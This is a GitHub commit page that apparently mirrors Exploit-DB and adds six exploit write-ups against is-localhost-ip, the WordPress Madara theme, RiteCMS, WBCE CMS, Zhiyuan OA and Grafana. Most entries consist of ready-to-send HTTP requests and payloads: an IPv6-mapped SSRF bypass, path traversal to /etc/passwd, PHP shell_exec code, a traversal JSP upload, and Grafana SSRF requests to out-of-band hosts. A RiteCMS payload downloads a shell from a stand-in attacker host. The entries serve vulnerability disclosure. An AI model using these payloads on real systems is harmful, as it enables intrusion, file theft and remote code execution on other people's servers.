Skip to content

Commit ec50dea

Browse files
author
certcc-ghbot
committed
Merge remote-tracking branch 'upstream/main'
2 parents 762d080 + 156acda commit ec50dea

11 files changed

Lines changed: 1071 additions & 0 deletions

File tree

exploits/multiple/local/52496.txt

Lines changed: 217 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,217 @@
1+
# Titles: is-localhost-ip 2.0.0 - SSRF
2+
# Author: nu11secur1ty
3+
# Date: 11/09/2025
4+
# Vendor: https://github.com/tinovyatkin/is-localhost-ip
5+
# Software:
6+
https://github.com/tinovyatkin/is-localhost-ip/releases/tag/v2.0.0
7+
# Reference: https://portswigger.net/web-security/ssrf
8+
9+
## Description:
10+
11+
# SSRF PoC — Professional README
12+
13+
**WARNING: This repository contains a proof‑of‑concept (PoC) demonstrating
14+
an SSRF / localhost canonicalization bypass.
15+
Run only on isolated, non-production machines (local VM, sandbox). Do NOT
16+
expose to the internet.**
17+
18+
## Overview
19+
20+
This PoC demonstrates how a naive server that blocks "localhost" by name
21+
can be bypassed using alternate IP encodings (hex, decimal, octal,
22+
IPv6-mapped). The included `index.js` is a **tested, minimal** Express app
23+
that:
24+
25+
- Provides `/check-url?url=<URL>` which checks `is-localhost-ip(hostname)`
26+
and fetches the URL if allowed.
27+
- Provides `/secret` that returns a generated secret-style JSON object
28+
(used to prove leakage).
29+
- Includes a test harness to exercise multiple host encodings — **tests are
30+
disabled by default** and must be explicitly enabled with
31+
`ENABLE_SELF_TEST=1`.
32+
33+
## Files included
34+
35+
- `PoC.js` — the PoC server (safe by default: self-tests disabled unless
36+
enabled).
37+
- `package.json` — minimal package manifest.
38+
- `README.md` — this file.
39+
40+
## Quick security summary (read before running)
41+
42+
- **Do not** run this on machines that have access to production networks,
43+
secret stores, or sensitive services.
44+
- The PoC generates synthetic API keys at `/secret`. If a test succeeds, a
45+
generated key will be returned by `/check-url` — treat that as
46+
proof-of-concept and not a real secret, unless you wired it to a real
47+
system.
48+
- Prefer running inside an isolated VM with no network access to your
49+
corporate network; or a disposable container with blocked egress to RFC1918
50+
and loopback.
51+
52+
## Requirements
53+
54+
- Node.js **v18+** (for built-in `fetch`).
55+
- npm (comes with Node).
56+
57+
## Setup
58+
59+
```bash
60+
# create directory and extract the archive or clone this repo
61+
# inside the project directory:
62+
npm install
63+
```
64+
65+
`package.json` in this archive will install:
66+
- `express`
67+
- `is-localhost-ip`
68+
- `ipaddr.js` (used by the safer checks in the index.js)
69+
70+
## How to run (safe default)
71+
72+
By default, the server will **not** run the self-tests. To start the server:
73+
74+
```bash
75+
node PoC.js
76+
```
77+
78+
You should see:
79+
```
80+
Express server running on http://localhost:3005
81+
Self-tests disabled (set ENABLE_SELF_TEST=1 to enable)
82+
```
83+
84+
Then in another terminal:
85+
86+
```bash
87+
curl "http://localhost:3005/check-url?url=https://example.com"
88+
```
89+
90+
Expected: fetched content preview (if allowed).
91+
92+
## How to run the internal tests (ONLY in an isolated environment)
93+
94+
If you want to run the bypass tests to reproduce the PoC **locally and
95+
isolated**, enable them explicitly:
96+
97+
```bash
98+
ENABLE_SELF_TEST=1 node PoC.js
99+
```
100+
101+
The process will run a set of encoded-hostname tests against the local
102+
`/secret` endpoint and print a summary. If any variant returns `200` and
103+
the response includes `"apikey":`, that variant demonstrated a bypass in
104+
your environment.
105+
106+
## How to disable the `/secret` endpoint (extra safety)
107+
108+
If you want to remove the sensitive test endpoint entirely, edit `PoC.js`
109+
and remove or comment out the `/secret` route.
110+
111+
## Safe patch summary (what this PoC does to be safer)
112+
113+
- Resolves hostnames to IP addresses server-side using DNS and checks all
114+
addresses against ipaddr.js ranges (rejects
115+
loopback/private/link-local/reserved).
116+
- Rejects non-http(s) schemes, credentials in URL, and non-allowed ports.
117+
- Avoids following redirects when fetching upstream resources.
118+
- Disables automatic self-tests by default (opt-in).
119+
120+
## Responsible disclosure template
121+
122+
If you plan to report this behavior to a maintainer/vendor, use the
123+
template in the original analysis or contact the project privately with:
124+
- Node version, OS, `is-localhost-ip` version
125+
- Minimal PoC command and the exact payload(s) that worked
126+
- Logs showing the returned JSON that includes the generated `apikey`
127+
128+
## License
129+
130+
This PoC is provided for testing and defensive purposes only. Use at your
131+
own risk. No warranty.
132+
133+
----------------------------------------------------------------
134+
135+
STATUS: Medium
136+
137+
138+
[+]Payload + Exploit Burp Suite:
139+
140+
```
141+
# normal 403 Forbidden
142+
GET /check-url?url=http://10.10.0.28:3005 HTTP/1.1
143+
Host: 10.10.0.28:3005
144+
Content-Len gth: 2
145+
Content-Length: 2
146+
147+
148+
HTTP/1.1 403 Forbidden
149+
X-Powered-By: Express
150+
Content-Type: application/json; charset=utf-8
151+
Content-Length: 33
152+
ETag: W/"21-6j4oICVQ6Z+6nx0WETDHqqeeklM"
153+
Date: Sun, 09 Nov 2025 09:29:34 GMT
154+
Connection: keep-alive
155+
Keep-Alive: timeout=5
156+
157+
{"error":"localhost not allowed"}
158+
159+
-----------------------------------------------------------------
160+
161+
# Exploit
162+
GET /check-url?url=http://[::ffff:7f00:1]:3005 HTTP/1.1
163+
Host: 10.10.0.28:3005
164+
Content-Len gth: 2
165+
Content-Length: 2
166+
167+
168+
HTTP/1.1 200 OK
169+
X-Powered-By: Express
170+
Content-Type: text/html; charset=utf-8
171+
Content-Length: 306
172+
ETag: W/"132-0QnJdvy6r/DgvnNvBs+i8eLbOLc"
173+
Date: Sun, 09 Nov 2025 09:29:28 GMT
174+
Connection: keep-alive
175+
Keep-Alive: timeout=5
176+
177+
{"message":"Express server running","usage":"GET /check-url?url=
178+
https://10.10.0.28:3005","examples":["GET /check-url?url=
179+
https://httpbin.org/json","GET /check-url?url=http://localhost:8080","GET
180+
/check-url?url=https://google.com"],"endpoints":["GET /","GET
181+
/check-url?url=<URL>","GET /secret"],"port":3005}
182+
183+
```
184+
185+
# Reproduce:
186+
[href](
187+
https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2025/CVE-2025-9960
188+
)
189+
190+
# Demo:
191+
[href](https://www.patreon.com/posts/cve-2025-9960-is-143172786)
192+
193+
# Time spent:
194+
03:15:00
195+
196+
197+
--
198+
System Administrator - Infrastructure Engineer
199+
Penetration Testing Engineer
200+
Exploit developer at https://packetstormsecurity.com/
201+
https://cve.mitre.org/index.html
202+
https://cxsecurity.com/ and https://www.exploit-db.com/
203+
home page: https://www.asc3t1c-nu11secur1ty.com/
204+
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
205+
nu11secur1ty <https://www.asc3t1c-nu11secur1ty.com/>
206+
207+
--
208+
209+
System Administrator - Infrastructure Engineer
210+
Penetration Testing Engineer
211+
Exploit developer at https://packetstorm.news/
212+
https://cve.mitre.org/index.html
213+
https://cxsecurity.com/ and https://www.exploit-db.com/
214+
0day Exploit DataBase https://0day.today/
215+
home page: https://www.asc3t1c-nu11secur1ty.com/
216+
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
217+
nu11secur1ty <http://nu11secur1ty.com/>
Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
# Exploit Title: WordPress Madara Local File Inclusion
2+
# Date: November 1, 2025
3+
# Exploit Author: Beatriz Fresno Naumova
4+
# Vendor Homepage: WordPress Theme Madara
5+
# Software Link: WordPress Theme Madara
6+
# Tested on: [OS / PHP / WordPress versions used in testing — e.g., Ubuntu 22.04, PHP 8.1, WP 6.4]
7+
# CVE: CVE-2025-4524
8+
9+
10+
#Attack Vector
11+
body="/wp-content/plugins/madara/"
12+
13+
#POC
14+
POST /wp-admin/admin-ajax.php HTTP/2
15+
Host:
16+
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
17+
Accept: */*
18+
Accept-Language: en-US,en;q=0.5
19+
Accept-Encoding: gzip, deflate, br
20+
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
21+
X-Requested-With: XMLHttpRequest
22+
Content-Length: 490
23+
24+
action=madara_load_more&page=1&template=plugins/../../../../../../../etc/passwd&vars%5Borderby%5D=meta_value_num&vars%5Bpaged%5D=1&vars%5Btimerange%5D=&vars%5Bposts_per_page%5D=16&vars%5Btax_query%5D%5Brelation%5D=OR&vars%5Bmeta_query%5D%5B0%5D%5Brelation%5D=AND&vars%5Bmeta_query%5D%5Brelation%5D=AND&vars%5Bpost_type%5D=wp-manga&vars%5Bpost_status%5D=publish&vars%5Bmeta_key%5D=_latest_update&vars%5Border%5D=desc&vars%5Bsidebar%5D=right&vars%5Bmanga_archives_item_layout%5D=big_thumbnail
Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
# Exploit Title: RiteCMS 3.1.0 - Authenticated Remote Code Execution
2+
# Date: 2025-10-26
3+
# Exploit Author: Chokri Hammedi
4+
# Vendor Homepage: https://github.com/handylulu/RiteCMS
5+
# Software Link:
6+
https://github.com/handylulu/RiteCMS/releases/download/V3.1.0/ritecms.v3.1.0.zip
7+
# Version: 3.1.0
8+
# Tested on: Windows XP
9+
10+
11+
## Vulnerability Description
12+
RiteCMS v3.1.0 contains an authenticated Remote Code Execution (RCE) via
13+
its content_function() handler: [function:...] tags in page content are
14+
evaluated, allowing a user with page-editing privileges to execute
15+
arbitrary PHP on the server.
16+
17+
## Exploit Code
18+
Create or edit any page with the following content:
19+
20+
[function:system('whoami')]
21+
22+
23+
## Steps to Reproduce
24+
1. Login as administrator
25+
2. Create new page or edit existing page
26+
3. Insert [function:system('whoami')] in content
27+
4. Save and view page
28+
5. Command output will be displayed
29+
30+
## additional payloads
31+
[function:system('curl http://attacker/shell.php -o shell.php')]
32+
[function:system('id')]
Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
# Exploit Title: WBCE CMS 1.6.4 - Remote Code Execution
2+
# Date: 2024-10-26
3+
# Exploit Author: Chokri Hammedi
4+
# Vendor Homepage: https://wbce.org/
5+
# Software Link: https://github.com/WBCE/WBCE_CMS/releases/tag/v1.6.4
6+
# Version: 1.6.4
7+
# Tested on: Linux (Debian/Parrot OS)
8+
9+
10+
## Vulnerability Description
11+
WBCE CMS version 1.6.4 contains a critical remote code execution
12+
vulnerability in the Droplets module. Authenticated attackers with
13+
administrator privileges can inject and execute arbitrary PHP code, leading
14+
to complete system compromise.
15+
16+
## Proof of Concept
17+
18+
1. Log in to the WBCE admin panel with administrator credentials
19+
2. Navigate to "Admin-Tools" in the sidebar menu
20+
3. Click on "Droplets" to access the droplet management interface
21+
4. Click "Add droplet" to create a new droplet
22+
5. Enter a random name for the droplet and insert the following malicious
23+
code in the code area:
24+
25+
26+
echo "<h3>System Information PoC</h3>";
27+
echo "<pre>";
28+
29+
if(function_exists('shell_exec')) {
30+
echo "1. Current User: " . shell_exec('id');
31+
echo "2. Working Directory: " . shell_exec('pwd');
32+
echo "3. System Info: " . shell_exec('uname -a');
33+
echo "4. PHP Version: " . phpversion();
34+
} else {
35+
echo "shell_exec disabled - but eval() still works!";
36+
echo "Current User (via PHP): " . get_current_user();
37+
echo "System: " . PHP_OS;
38+
}
39+
40+
echo "</pre>";
41+
42+
43+
6. Click "Save & Back" to store the droplet
44+
7. Copy the droplet code name (e.g., `[[test]]`) from the droplets list.
45+
You can find this under the description column by clicking the info icon.
46+
8. Edit or create any page and insert the droplet code name within double
47+
brackets
48+
9. View the page to observe the command execution output, confirming remote
49+
code execution
Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
# Exploit Title: Zhiyuan OA - arbitrary file upload leading
2+
# Google Dork / FOFA: app="致远互联-OA" && title="V8.0SP2"
3+
# Date: 1-11-2025
4+
# Exploit Author: Beatriz Fresno Naumova
5+
# Vendor Homepage: https://service.seeyon.com/
6+
# Software Link: [vendor download / product page if available]
7+
# Version: 5.0, 5.1–5.6sp1, 6.0–6.1sp2, 7.0–7.1sp1, 8.0–8.0sp2 (per NVD/VulnCheck)
8+
# Tested on: MacOS
9+
# CVE: CVE-2025-34040
10+
11+
Description:
12+
A path-traversal / improper validation in the multipart file upload handling of Zhiyuan OA's `wpsAssistServlet` allows an unauthenticated actor (or actor able to reach upload endpoint) to place crafted files outside the intended directories by controlling `realFileType` and `fileId` parameters. Under affected configurations, an uploaded JSP can be stored in the webroot and executed, yielding remote code execution.
13+
14+
High-level reproduction template (redacted — non-actionable):
15+
POST request to `/seeyon/wpsAssistServlet` with multipart/form-data. The `realFileType` parameter is used to resolve the target path; insufficient validation permits `..` sequences leading to writes under webapp root. The uploaded file contents must be controlled to produce a server-side executable file (e.g., JSP) — DO NOT include such server-side code here.
16+
17+
Impact:
18+
- Remote code execution if the uploaded file is accessible and executable.
19+
- Complete server compromise and pivoting to internal networks.
20+
- Data exfiltration, persistence, and further lateral movement.
21+
22+
References:
23+
- NVD CVE-2025-34040 (NVD entry – awaiting enrichment)
24+
- VulnCheck advisory: https://vulncheck.com/advisories/zhiyuan-oa-system-path-traversal-file-upload
25+
- CNVD entry: https://www.cnvd.org.cn/flaw/show/CNVD-2021-01627
26+
- Vendor patch/notice: https://service.seeyon.com/patchtools/tp.html
27+
28+
POC;
29+
POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/Hello.jsp&fileId=2 HTTP/1.1
30+
Host:
31+
Content-Type: multipart/form-data; boundary=......
32+
Accept-Encoding: gzip
33+
34+
--......
35+
Content-Disposition: form-data; name="upload"; filename="123.xls"
36+
Content-Type: application/vnd.ms-excel
37+
38+
<% out.println("HelloWorld");%>
39+
--.......--
Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
# Exploit Title: Grafana 11.6.0 - SSRF
2+
# FOFA: app="Grafana"
3+
# Date: 2-11-2025
4+
# Exploit Author: Beatriz Fresno Naumova
5+
# Vendor Homepage: https://grafana.com/
6+
# Software Link: https://grafana.com/grafana/download
7+
# Version: 11.2.0 - 11.6.0
8+
# CVE: CVE-2025-4123
9+
10+
Description:
11+
An SSRF (Server-Side Request Forgery) vulnerability exists in Grafana's `render/public` (and related public rendering) endpoints owing to a combination of client-side path traversal encoding and an open redirect. Under certain configurations — especially when anonymous access or vulnerable plugins (e.g., Image Renderer) are enabled — an attacker can cause the server to perform requests to attacker-controlled hosts or induce redirections that lead to SSRF and subsequent information disclosure.
12+
13+
POC:
14+
GET /render/public/..%252f%255Cczeqm5.dnslog.cn%252f%253F%252f..%252f.. HTTP/1.1
15+
Host:
16+
User-Agent: Mozilla/5.0 (Fedora; Linux i686; rv:128.0) Gecko/20100101 Firefox/128.0
17+
Connection: close
18+
Accept-Encoding: gzip
19+
20+
GET /public/..%2F%5c123.czeqm5.dnslog.cn%2F%3f%2F..%2F.. HTTP/1.1
21+
Host:
22+
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12) AppleWebKit/616.19 (KHTML, like Gecko) Version/17.7.17 Safari/616.19
23+
Connection: close
24+
Cookie: redirect_to=%2Frender%2Fpublic%2F..%25252f%25255Cd0nt31pu8bl7cn5ncca08sg68smps8h39.oast.live%25252f%25253F%25252f..%25252f..
25+
Accept-Encoding: gzip

0 commit comments

Comments
 (0)